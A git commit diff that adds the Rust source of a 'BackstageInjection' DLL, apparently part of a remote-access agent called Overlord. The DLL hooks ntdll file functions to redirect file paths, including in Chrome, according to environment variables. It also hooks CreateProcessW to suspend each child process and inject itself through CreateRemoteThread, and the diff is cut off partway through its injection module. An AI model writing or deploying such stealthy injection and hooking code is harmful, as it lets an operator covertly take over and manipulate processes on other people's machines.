This commit is contained in:
KingKDot
2026-08-19 14:37:43 -05:00
parent bcc8e89495
commit 95fe6d18d8
16 changed files with 1495 additions and 289 deletions
+1 -36
View File
@@ -23,37 +23,8 @@ jobs:
- name: Confirm release approval - name: Confirm release approval
run: echo "Approved release ${RELEASE_VERSION}" run: echo "Approved release ${RELEASE_VERSION}"
build-backstage-dll:
needs: approve-release
runs-on: windows-latest
permissions:
contents: read
steps:
- name: Validate Release Version
shell: pwsh
run: |
if ($env:RELEASE_VERSION -notmatch '^\d+\.\d+\.\d+$') {
throw "Release version must be strict semver like 1.2.3; got '$env:RELEASE_VERSION'"
}
- name: Checkout repository
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Build BackstageInjection DLL with MSVC
shell: cmd
run: call scripts\build-backstage-dll.bat
- name: Upload backstage DLLs
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: backstage-dll
path: |
Overlord-Server/dist-clients/BackstageInjection.x64.dll
if-no-files-found: error
retention-days: 1
build-and-push: build-and-push:
needs: build-backstage-dll needs: approve-release
name: Build and push (${{ matrix.platform }}) name: Build and push (${{ matrix.platform }})
runs-on: ${{ matrix.runner }} runs-on: ${{ matrix.runner }}
timeout-minutes: 45 timeout-minutes: 45
@@ -75,12 +46,6 @@ jobs:
- name: Checkout repository - name: Checkout repository
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Download backstage DLLs
uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: backstage-dll
path: Overlord-Server/dist-clients
- name: Read Source Version - name: Read Source Version
id: srcver id: srcver
shell: bash shell: bash
@@ -0,0 +1,7 @@
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
# dependency at runtime (Chrome and other targets may not have it preloaded).
[target.x86_64-pc-windows-msvc]
rustflags = ["-C", "target-feature=+crt-static"]
[target.x86_64-pc-windows-gnu]
rustflags = ["-C", "target-feature=+crt-static"]
+1
View File
@@ -0,0 +1 @@
/target
+127
View File
@@ -0,0 +1,127 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "backstage-injection-rs"
version = "0.1.0"
dependencies = [
"minhook",
]
[[package]]
name = "cc"
version = "1.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "509591b7bcd67f4ef775afad7662703b4935daaa6ec0e5605cfb1090b32a2b6d"
dependencies = [
"find-msvc-tools",
"shlex",
]
[[package]]
name = "find-msvc-tools"
version = "0.1.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d45db016d36b838f563236e9193d0ee6ce38f3f68b6c94e914b4929c96bbb890"
[[package]]
name = "log"
version = "0.4.33"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"
[[package]]
name = "minhook"
version = "0.9.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "455e088cb1600ffa5f1524c9702c9eeb0ba3604e0f4932efa165b99973272a8d"
dependencies = [
"cc",
"tracing",
]
[[package]]
name = "once_cell"
version = "1.21.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"
[[package]]
name = "pin-project-lite"
version = "0.2.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
[[package]]
name = "proc-macro2"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.47"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
dependencies = [
"proc-macro2",
]
[[package]]
name = "shlex"
version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba"
[[package]]
name = "syn"
version = "2.0.119"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "tracing"
version = "0.1.44"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100"
dependencies = [
"log",
"pin-project-lite",
"tracing-attributes",
"tracing-core",
]
[[package]]
name = "tracing-attributes"
version = "0.1.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "tracing-core"
version = "0.1.36"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a"
dependencies = [
"once_cell",
]
[[package]]
name = "unicode-ident"
version = "1.0.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
+18
View File
@@ -0,0 +1,18 @@
[package]
name = "backstage-injection-rs"
version = "0.1.0"
edition = "2021"
[lib]
name = "BackstageInjection"
crate-type = ["cdylib"]
[dependencies]
minhook = "0.9.0"
[profile.release]
opt-level = 3
lto = true
codegen-units = 1
panic = "unwind"
strip = true
+222
View File
@@ -0,0 +1,222 @@
#![allow(non_snake_case)]
#![allow(non_camel_case_types)]
#![allow(dead_code)]
use core::ffi::c_void;
// ---- NTSTATUS ----
pub const STATUS_UNSUCCESSFUL: i32 = 0xC000_0001u32 as i32;
// ---- Memory allocation constants ----
pub const MEM_COMMIT: u32 = 0x1000;
pub const MEM_RESERVE: u32 = 0x2000;
pub const PAGE_READWRITE: u32 = 0x04;
// ---- CreateProcess flags ----
pub const CREATE_SUSPENDED: u32 = 0x0000_0004;
// ---- CompareStringOrdinal results ----
pub const CSTR_LESS_THAN: i32 = 1;
pub const CSTR_EQUAL: i32 = 2;
pub const CSTR_GREATER_THAN: i32 = 3;
// ---- Log-file API constants ----
pub const FILE_APPEND_DATA: u32 = 0x0000_0004;
pub const FILE_SHARE_READ: u32 = 0x1;
pub const FILE_SHARE_WRITE: u32 = 0x2;
pub const FILE_SHARE_DELETE: u32 = 0x4;
pub const OPEN_ALWAYS: u32 = 4;
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
// ---- WaitForSingleObject ----
pub const WAIT_OBJECT_0: u32 = 0;
pub const WAIT_TIMEOUT: u32 = 0x0000_0102;
pub const WAIT_FAILED: u32 = 0xFFFF_FFFF;
pub const INFINITE: u32 = 0xFFFF_FFFF;
// ---- FILE_INFORMATION_CLASS values used by the hook logic ----
pub const FILE_RENAME_INFORMATION: u32 = 10;
pub const FILE_RENAME_INFORMATION_EX: u32 = 65;
// ---- Rename info header size (BOOLEAN/ULONG + padding + HANDLE + ULONG) ----
pub const RENAME_INFO_HEADER_WCHARS: usize = 10;
pub const RENAME_INFO_HEADER_BYTES: usize = 20;
// ---- NT structures (x64 layout, matching the C reference) ----
#[repr(C)]
#[derive(Clone, Copy)]
pub struct UnicodeString {
pub Length: u16,
pub MaximumLength: u16,
pub Buffer: *mut u16,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct ObjectAttributes {
pub Length: u32,
pub RootDirectory: usize,
pub ObjectName: *mut UnicodeString,
pub Attributes: u32,
pub SecurityDescriptor: *mut c_void,
pub SecurityQualityOfService: *mut c_void,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct IoStatusBlock {
pub Status: usize,
pub Information: usize,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct StartupInfoW {
pub cb: u32,
pub lpReserved: *mut u16,
pub lpDesktop: *mut u16,
pub lpTitle: *mut u16,
pub dwX: u32,
pub dwY: u32,
pub dwXSize: u32,
pub dwYSize: u32,
pub dwXCountChars: u32,
pub dwYCountChars: u32,
pub dwFillAttribute: u32,
pub dwFlags: u32,
pub wShowWindow: u16,
pub cbReserved2: u16,
pub lpReserved2: *mut u8,
pub hStdInput: usize,
pub hStdOutput: usize,
pub hStdError: usize,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct ProcessInformation {
pub hProcess: usize,
pub hThread: usize,
pub dwProcessId: u32,
pub dwThreadId: u32,
}
// ---- NT API function pointer types ----
pub type NtCreateFileFn = extern "system" fn(
*mut usize, // PHANDLE FileHandle
u32, // ULONG DesiredAccess
*mut ObjectAttributes,
*mut IoStatusBlock,
*mut i64, // PLARGE_INTEGER AllocationSize
u32, // ULONG FileAttributes
u32, // ULONG ShareAccess
u32, // ULONG CreateDisposition
u32, // ULONG CreateOptions
*mut c_void, // PVOID EaBuffer
u32, // ULONG EaLength
) -> i32;
pub type NtOpenFileFn = extern "system" fn(
*mut usize,
u32,
*mut ObjectAttributes,
*mut IoStatusBlock,
u32,
u32,
) -> i32;
pub type NtDeleteFileFn = extern "system" fn(*mut ObjectAttributes) -> i32;
pub type NtSetInformationFileFn = extern "system" fn(
usize, // HANDLE FileHandle
*mut IoStatusBlock,
*mut c_void, // PVOID FileInformation
u32, // ULONG Length
u32, // FILE_INFORMATION_CLASS
) -> i32;
pub type NtQueryAttributesFileFn = extern "system" fn(*mut ObjectAttributes, *mut c_void) -> i32;
pub type NtQueryFullAttributesFileFn = extern "system" fn(*mut ObjectAttributes, *mut c_void) -> i32;
pub type CreateProcessWFn = extern "system" fn(
*const u16, // LPCWSTR lpApplicationName
*mut u16, // LPWSTR lpCommandLine
*mut c_void, // LPSECURITY_ATTRIBUTES lpProcessAttributes
*mut c_void, // LPSECURITY_ATTRIBUTES lpThreadAttributes
i32, // BOOL bInheritHandles
u32, // DWORD dwCreationFlags
*mut c_void, // LPVOID lpEnvironment
*const u16, // LPCWSTR lpCurrentDirectory
*mut StartupInfoW, // LPSTARTUPINFOW lpStartupInfo
*mut ProcessInformation,
) -> i32;
// ---- kernel32 / ntdll imports ----
#[link(name = "kernel32")]
extern "system" {
pub fn GetModuleHandleW(lpModuleName: *const u16) -> usize;
pub fn GetModuleFileNameW(hModule: usize, lpFilename: *mut u16, nSize: u32) -> u32;
pub fn GetProcAddress(hModule: usize, lpProcName: *const u8) -> usize;
pub fn GetEnvironmentVariableW(
lpName: *const u16,
lpBuffer: *mut u16,
nSize: u32,
) -> u32;
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
pub fn CompareStringOrdinal(
lpString1: *const u16,
cchCount1: i32,
lpString2: *const u16,
cchCount2: i32,
bIgnoreCase: i32,
) -> i32;
pub fn VirtualAllocEx(
hProcess: usize,
lpAddress: usize,
dwSize: usize,
flAllocationType: u32,
flProtect: u32,
) -> usize;
pub fn WriteProcessMemory(
hProcess: usize,
lpBaseAddress: usize,
lpBuffer: *const c_void,
nSize: usize,
lpNumberOfBytesWritten: *mut usize,
) -> i32;
pub fn CreateRemoteThread(
hProcess: usize,
lpThreadAttributes: *mut c_void,
dwStackSize: usize,
lpStartAddress: usize,
lpParameter: usize,
dwCreationFlags: u32,
lpThreadId: *mut u32,
) -> usize;
pub fn WaitForSingleObject(hHandle: usize, dwMilliseconds: u32) -> u32;
pub fn GetExitCodeThread(hThread: usize, lpExitCode: *mut u32) -> i32;
pub fn CloseHandle(hObject: usize) -> i32;
pub fn ResumeThread(hThread: usize) -> u32;
pub fn Sleep(dwMilliseconds: u32);
pub fn GetCurrentProcessId() -> u32;
pub fn CreateDirectoryW(lpPathName: *const u16, lpSecurityAttributes: *mut c_void) -> i32;
pub fn CreateFileW(
lpFileName: *const u16,
dwDesiredAccess: u32,
dwShareMode: u32,
lpSecurityAttributes: *mut c_void,
dwCreationDisposition: u32,
dwFlagsAndAttributes: u32,
hTemplateFile: usize,
) -> usize;
pub fn WriteFile(
hFile: usize,
lpBuffer: *const c_void,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
}
+33
View File
@@ -0,0 +1,33 @@
//! Redirect configuration read from environment variables on attach.
use crate::abi::GetEnvironmentVariableW;
const ENV_BUFFER_WCHARS: u32 = 2048;
#[derive(Default, Clone)]
pub struct HookConfig {
pub search: Vec<u16>,
pub replace: Vec<u16>,
}
const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH";
const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH";
pub fn load() -> HookConfig {
HookConfig {
search: read_env(RDI_SEARCH_PATH),
replace: read_env(RDI_REPLACE_PATH),
}
}
fn read_env(name: &str) -> Vec<u16> {
let name = name.encode_utf16().chain(core::iter::once(0)).collect::<Vec<u16>>();
let mut buf = [0u16; ENV_BUFFER_WCHARS as usize];
unsafe {
let len = GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), ENV_BUFFER_WCHARS);
if len == 0 || len >= ENV_BUFFER_WCHARS {
return Vec::new();
}
buf[..len as usize].to_vec()
}
}
+531
View File
@@ -0,0 +1,531 @@
//! MinHook installation/removal and every detour function.
use core::ffi::c_void;
use std::slice;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::OnceLock;
use minhook::MinHook;
use crate::abi::{
self, CreateProcessWFn, IoStatusBlock, NtCreateFileFn, NtDeleteFileFn, NtOpenFileFn,
NtQueryAttributesFileFn, NtQueryFullAttributesFileFn, NtSetInformationFileFn, ObjectAttributes,
ProcessInformation, StartupInfoW, UnicodeString,
};
use crate::config::HookConfig;
use crate::inject;
use crate::util::{self, UNICODE_STRING_MAX_WCHARS};
use crate::dbg_log;
static HOOKS_CONFIG: OnceLock<HookConfig> = OnceLock::new();
static HOOKS_INITIALIZED: AtomicBool = AtomicBool::new(false);
static ORIG_NT_CREATE_FILE: AtomicUsize = AtomicUsize::new(0);
static ORIG_NT_OPEN_FILE: AtomicUsize = AtomicUsize::new(0);
static ORIG_NT_DELETE_FILE: AtomicUsize = AtomicUsize::new(0);
static ORIG_NT_SET_INFORMATION_FILE: AtomicUsize = AtomicUsize::new(0);
static ORIG_NT_QUERY_ATTRIBUTES_FILE: AtomicUsize = AtomicUsize::new(0);
static ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE: AtomicUsize = AtomicUsize::new(0);
static ORIG_CREATE_PROCESS_W: AtomicUsize = AtomicUsize::new(0);
static CALL_SEQ: AtomicUsize = AtomicUsize::new(0);
unsafe fn read_oa_path(oa: *mut ObjectAttributes) -> Vec<u16> {
if oa.is_null() {
return Vec::new();
}
let name = unsafe { &*oa }.ObjectName;
if name.is_null() {
return Vec::new();
}
let name = unsafe { &*name };
if name.Buffer.is_null() {
return Vec::new();
}
let len = (name.Length as usize) / 2;
if len == 0 {
return Vec::new();
}
unsafe { slice::from_raw_parts(name.Buffer, len).to_vec() }
}
fn redirect_config() -> Option<&'static HookConfig> {
let cfg = HOOKS_CONFIG.get()?;
if cfg.search.is_empty() || cfg.replace.is_empty() {
return None;
}
Some(cfg)
}
struct ObjectNameRedirect {
oa: *mut ObjectAttributes,
original: *mut UnicodeString,
new_string: Box<UnicodeString>,
_path: Vec<u16>,
}
impl Drop for ObjectNameRedirect {
fn drop(&mut self) {
unsafe {
(*self.oa).ObjectName = self.original;
}
}
}
unsafe fn object_redirect(oa: *mut ObjectAttributes) -> Option<ObjectNameRedirect> {
if oa.is_null() {
return None;
}
let oa_ref = unsafe { &mut *oa };
if oa_ref.ObjectName.is_null() {
return None;
}
let name = unsafe { &*oa_ref.ObjectName };
if name.Buffer.is_null() {
return None;
}
let cfg = redirect_config()?;
let path_len = (name.Length as usize) / 2;
if path_len == 0 {
return None;
}
let path = unsafe { slice::from_raw_parts(name.Buffer, path_len) };
if !util::needs_redirection(path, &cfg.search) {
return None;
}
let new_path = util::replace_path(path, &cfg.search, &cfg.replace)?;
if new_path.len() > UNICODE_STRING_MAX_WCHARS {
return None;
}
let mut new_string = Box::new(UnicodeString {
Length: (new_path.len() * 2) as u16,
MaximumLength: ((new_path.len() + 1) * 2) as u16,
Buffer: core::ptr::null_mut(),
});
new_string.Buffer = new_path.as_ptr() as *mut u16;
let guard = ObjectNameRedirect {
oa,
original: oa_ref.ObjectName,
new_string,
_path: new_path,
};
oa_ref.ObjectName = (&*guard.new_string) as *const UnicodeString as *mut UnicodeString;
dbg_log!(
"redirect: '{}' -> '{}'",
crate::log::display_wide(path),
crate::log::display_wide(&guard._path),
);
Some(guard)
}
fn rename_redirect(
file_information: *mut c_void,
class: u32,
length: u32,
) -> Option<Vec<u8>> {
if !(class == abi::FILE_RENAME_INFORMATION || class == abi::FILE_RENAME_INFORMATION_EX) {
return None;
}
if file_information.is_null() || (length as usize) < abi::RENAME_INFO_HEADER_BYTES {
return None;
}
let cfg = redirect_config()?;
let p = file_information as *const u8;
let header = unsafe { slice::from_raw_parts(p, abi::RENAME_INFO_HEADER_BYTES) };
let name_len_bytes =
u32::from_le_bytes([header[16], header[17], header[18], header[19]]);
if name_len_bytes == 0 {
return None;
}
let chars = (name_len_bytes as usize) / 2;
if abi::RENAME_INFO_HEADER_BYTES + chars > length as usize {
return None;
}
let path = unsafe {
slice::from_raw_parts(p.add(abi::RENAME_INFO_HEADER_BYTES) as *const u16, chars)
};
if !util::needs_redirection(path, &cfg.search) {
return None;
}
let new_path = util::replace_path(path, &cfg.search, &cfg.replace)?;
let new_len_bytes = new_path.len() * 2;
let mut buf = Vec::with_capacity(abi::RENAME_INFO_HEADER_BYTES + new_len_bytes);
buf.extend_from_slice(header);
buf[16..20].copy_from_slice(&(new_len_bytes as u32).to_le_bytes());
for &unit in &new_path {
buf.extend_from_slice(&unit.to_le_bytes());
}
dbg_log!(
"rename redirect class={class}: '{}' -> '{}'",
crate::log::display_wide(path),
crate::log::display_wide(&new_path),
);
Some(buf)
}
pub extern "system" fn detour_nt_create_file(
file_handle: *mut usize,
desired_access: u32,
object_attributes: *mut ObjectAttributes,
io_status_block: *mut IoStatusBlock,
allocation_size: *mut i64,
file_attributes: u32,
share_access: u32,
create_disposition: u32,
create_options: u32,
ea_buffer: *mut c_void,
ea_length: u32,
) -> i32 {
let orig_addr = ORIG_NT_CREATE_FILE.load(Ordering::SeqCst);
if orig_addr == 0 {
return abi::STATUS_UNSUCCESSFUL;
}
let seq = CALL_SEQ.fetch_add(1, Ordering::Relaxed);
let orig_path = unsafe { read_oa_path(object_attributes) };
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
unsafe { object_redirect(object_attributes) }
} else {
None
};
let redirected = _guard.is_some();
let orig: NtCreateFileFn = unsafe { core::mem::transmute(orig_addr) };
let status = orig(
file_handle,
desired_access,
object_attributes,
io_status_block,
allocation_size,
file_attributes,
share_access,
create_disposition,
create_options,
ea_buffer,
ea_length,
);
dbg_log!(
"ntcreate[{seq}] in='{}' redirect={redirected} out=0x{status:x}",
crate::log::display_wide(&orig_path),
);
status
}
pub extern "system" fn detour_nt_open_file(
file_handle: *mut usize,
desired_access: u32,
object_attributes: *mut ObjectAttributes,
io_status_block: *mut IoStatusBlock,
share_access: u32,
open_options: u32,
) -> i32 {
let orig_addr = ORIG_NT_OPEN_FILE.load(Ordering::SeqCst);
if orig_addr == 0 {
return abi::STATUS_UNSUCCESSFUL;
}
let seq = CALL_SEQ.fetch_add(1, Ordering::Relaxed);
let orig_path = unsafe { read_oa_path(object_attributes) };
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
unsafe { object_redirect(object_attributes) }
} else {
None
};
let redirected = _guard.is_some();
let orig: NtOpenFileFn = unsafe { core::mem::transmute(orig_addr) };
let status = orig(
file_handle,
desired_access,
object_attributes,
io_status_block,
share_access,
open_options,
);
dbg_log!(
"ntopen[{seq}] in='{}' redirect={redirected} out=0x{status:x}",
crate::log::display_wide(&orig_path),
);
status
}
pub extern "system" fn detour_nt_delete_file(
object_attributes: *mut ObjectAttributes,
) -> i32 {
let orig_addr = ORIG_NT_DELETE_FILE.load(Ordering::SeqCst);
if orig_addr == 0 {
return abi::STATUS_UNSUCCESSFUL;
}
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
unsafe { object_redirect(object_attributes) }
} else {
None
};
let orig: NtDeleteFileFn = unsafe { core::mem::transmute(orig_addr) };
orig(object_attributes)
}
pub extern "system" fn detour_nt_set_information_file(
file_handle: usize,
io_status_block: *mut IoStatusBlock,
file_information: *mut c_void,
length: u32,
class: u32,
) -> i32 {
let orig_addr = ORIG_NT_SET_INFORMATION_FILE.load(Ordering::SeqCst);
if orig_addr == 0 {
return abi::STATUS_UNSUCCESSFUL;
}
let orig: NtSetInformationFileFn = unsafe { core::mem::transmute(orig_addr) };
if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
if let Some(redirect) = rename_redirect(file_information, class, length) {
return orig(
file_handle,
io_status_block,
redirect.as_ptr() as *mut c_void,
redirect.len() as u32,
class,
);
}
}
orig(
file_handle,
io_status_block,
file_information,
length,
class,
)
}
pub extern "system" fn detour_nt_query_attributes_file(
object_attributes: *mut ObjectAttributes,
file_information: *mut c_void,
) -> i32 {
let orig_addr = ORIG_NT_QUERY_ATTRIBUTES_FILE.load(Ordering::SeqCst);
if orig_addr == 0 {
return abi::STATUS_UNSUCCESSFUL;
}
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
unsafe { object_redirect(object_attributes) }
} else {
None
};
let orig: NtQueryAttributesFileFn = unsafe { core::mem::transmute(orig_addr) };
orig(object_attributes, file_information)
}
pub extern "system" fn detour_nt_query_full_attributes_file(
object_attributes: *mut ObjectAttributes,
file_information: *mut c_void,
) -> i32 {
let orig_addr = ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.load(Ordering::SeqCst);
if orig_addr == 0 {
return abi::STATUS_UNSUCCESSFUL;
}
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
unsafe { object_redirect(object_attributes) }
} else {
None
};
let orig: NtQueryFullAttributesFileFn = unsafe { core::mem::transmute(orig_addr) };
orig(object_attributes, file_information)
}
pub extern "system" fn detour_create_process_w(
lp_application_name: *const u16,
lp_command_line: *mut u16,
lp_process_attributes: *mut c_void,
lp_thread_attributes: *mut c_void,
b_inherit_handles: i32,
dw_creation_flags: u32,
lp_environment: *mut c_void,
lp_current_directory: *const u16,
lp_startup_info: *mut StartupInfoW,
lp_process_information: *mut ProcessInformation,
) -> i32 {
let orig_addr = ORIG_CREATE_PROCESS_W.load(Ordering::SeqCst);
if orig_addr == 0 {
return 0;
}
let orig: CreateProcessWFn = unsafe { core::mem::transmute(orig_addr) };
let was_suspended = (dw_creation_flags & abi::CREATE_SUSPENDED) != 0;
let modified_flags = dw_creation_flags | abi::CREATE_SUSPENDED;
let result = orig(
lp_application_name,
lp_command_line,
lp_process_attributes,
lp_thread_attributes,
b_inherit_handles,
modified_flags,
lp_environment,
lp_current_directory,
lp_startup_info,
lp_process_information,
);
if result != 0 && !lp_process_information.is_null() {
let child_pid = unsafe { (*lp_process_information).dwProcessId };
if !HOOKS_INITIALIZED.load(Ordering::SeqCst) {
dbg_log!(
"CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection"
);
} else if let Some(path) = inject::our_path() {
if !path.is_empty() {
let ok = unsafe { inject::inject_library((*lp_process_information).hProcess, path) };
dbg_log!(
"CreateProcessW child pid={child_pid} app='{}' inject={ok} suspended_forced={}",
display_cmd(lp_application_name, lp_command_line),
!was_suspended,
);
} else {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty");
}
} else {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll path recorded");
}
if !was_suspended {
unsafe {
abi::ResumeThread((*lp_process_information).hThread);
}
}
} else {
dbg_log!(
"CreateProcessW failed or no proc info (result={result}) — no injection"
);
}
result
}
fn display_cmd(lp_application_name: *const u16, lp_command_line: *mut u16) -> String {
let raw = if !lp_application_name.is_null() {
unsafe { core::slice::from_raw_parts(lp_application_name, 512) }
} else if !lp_command_line.is_null() {
unsafe { core::slice::from_raw_parts(lp_command_line.cast_const(), 512) }
} else {
return String::new();
};
let end = raw.iter().position(|&c| c == 0).unwrap_or(raw.len());
crate::log::display_wide(&raw[..end])
}
fn install_one(
module: &[u16],
proc_name: &[u8],
detour: usize,
store: &AtomicUsize,
) -> bool {
let h_module = unsafe { abi::GetModuleHandleW(module.as_ptr()) };
if h_module == 0 {
dbg_log!(
"hook target: module '{}' not loaded",
crate::log::display_wide(module)
);
return false;
}
let target = unsafe { abi::GetProcAddress(h_module, proc_name.as_ptr()) };
if target == 0 {
dbg_log!(
"hook target: export '{}' not found in '{}'",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
crate::log::display_wide(module)
);
return false;
}
match unsafe { MinHook::create_hook(target as *mut c_void, detour as *mut c_void) } {
Ok(orig) => match unsafe { MinHook::enable_hook(target as *mut c_void) } {
Ok(()) => {
store.store(orig as usize, Ordering::SeqCst);
true
}
Err(why) => {
let _ = unsafe { MinHook::remove_hook(target as *mut c_void) };
dbg_log!(
"hook enable failed for '{}': {:?}",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
why
);
false
}
},
Err(why) => {
dbg_log!(
"hook create failed for '{}': {:?}",
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
why
);
false
}
}
}
pub fn install(cfg: HookConfig) {
let redirect_on = !cfg.search.is_empty() && !cfg.replace.is_empty();
dbg_log!(
"install: config loaded search={} replace={} -> redirect_active={}",
crate::log::display_wide(&cfg.search),
crate::log::display_wide(&cfg.replace),
redirect_on,
);
let _ = HOOKS_CONFIG.set(cfg);
let ntdll = util::wide_zstr("ntdll.dll");
let kernel32 = util::wide_zstr("kernel32.dll");
let create = install_one(&ntdll, b"NtCreateFile\0", detour_nt_create_file as *const () as usize, &ORIG_NT_CREATE_FILE);
let open = install_one(&ntdll, b"NtOpenFile\0", detour_nt_open_file as *const () as usize, &ORIG_NT_OPEN_FILE);
let delete = install_one(&ntdll, b"NtDeleteFile\0", detour_nt_delete_file as *const () as usize, &ORIG_NT_DELETE_FILE);
let set_info = install_one(&ntdll, b"NtSetInformationFile\0", detour_nt_set_information_file as *const () as usize, &ORIG_NT_SET_INFORMATION_FILE);
let query_attrs = install_one(&ntdll, b"NtQueryAttributesFile\0", detour_nt_query_attributes_file as *const () as usize, &ORIG_NT_QUERY_ATTRIBUTES_FILE);
let query_full = install_one(&ntdll, b"NtQueryFullAttributesFile\0", detour_nt_query_full_attributes_file as *const () as usize, &ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE);
let cpr = install_one(&kernel32, b"CreateProcessW\0", detour_create_process_w as *const () as usize, &ORIG_CREATE_PROCESS_W);
let _ = (delete, set_info, query_attrs, query_full);
dbg_log!(
"install: NtCreateFile={} NtOpenFile={} NtDeleteFile={} NtSetInformationFile={} NtQueryAttributesFile={} NtQueryFullAttributesFile={} CreateProcessW={}",
create, open, delete, set_info, query_attrs, query_full, cpr,
);
if create && open {
HOOKS_INITIALIZED.store(true, Ordering::SeqCst);
dbg_log!("install: hooks active (both NtCreateFile and NtOpenFile live)");
} else {
unsafe {
let _ = MinHook::disable_all_hooks();
}
ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst);
ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst);
ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst);
ORIG_NT_SET_INFORMATION_FILE.store(0, Ordering::SeqCst);
ORIG_NT_QUERY_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
ORIG_CREATE_PROCESS_W.store(0, Ordering::SeqCst);
dbg_log!("install: rollback — hooks NOT active");
}
}
pub fn remove() {
unsafe {
let _ = MinHook::disable_all_hooks();
}
unsafe {
abi::Sleep(50);
}
ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst);
ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst);
ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst);
ORIG_NT_SET_INFORMATION_FILE.store(0, Ordering::SeqCst);
ORIG_NT_QUERY_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
ORIG_CREATE_PROCESS_W.store(0, Ordering::SeqCst);
HOOKS_INITIALIZED.store(false, Ordering::SeqCst);
}
+113
View File
@@ -0,0 +1,113 @@
//! Child-process injection from disk: LoadLibraryW via CreateRemoteThread.
//!
//! The injected module path is exactly the path this DLL was loaded from, so a
//! child inherits the same staged copy the agent placed on disk.
use core::ffi::c_void;
use std::ptr::null_mut;
use std::sync::OnceLock;
use crate::abi::{self, GetModuleFileNameW};
use crate::dbg_log;
static OUR_PATH: OnceLock<Vec<u16>> = OnceLock::new();
/// Record the on-disk path of this DLL (called from DllMain on attach).
pub fn set_our_path(h_instance: usize) {
let _ = OUR_PATH.set(dll_path_from_hinst(h_instance));
}
/// Current on-disk path, if recorded.
pub fn our_path() -> Option<&'static Vec<u16>> {
OUR_PATH.get()
}
fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
let mut buf = vec![0u16; 1024];
unsafe {
let n = GetModuleFileNameW(h_instance, buf.as_mut_ptr(), buf.len() as u32);
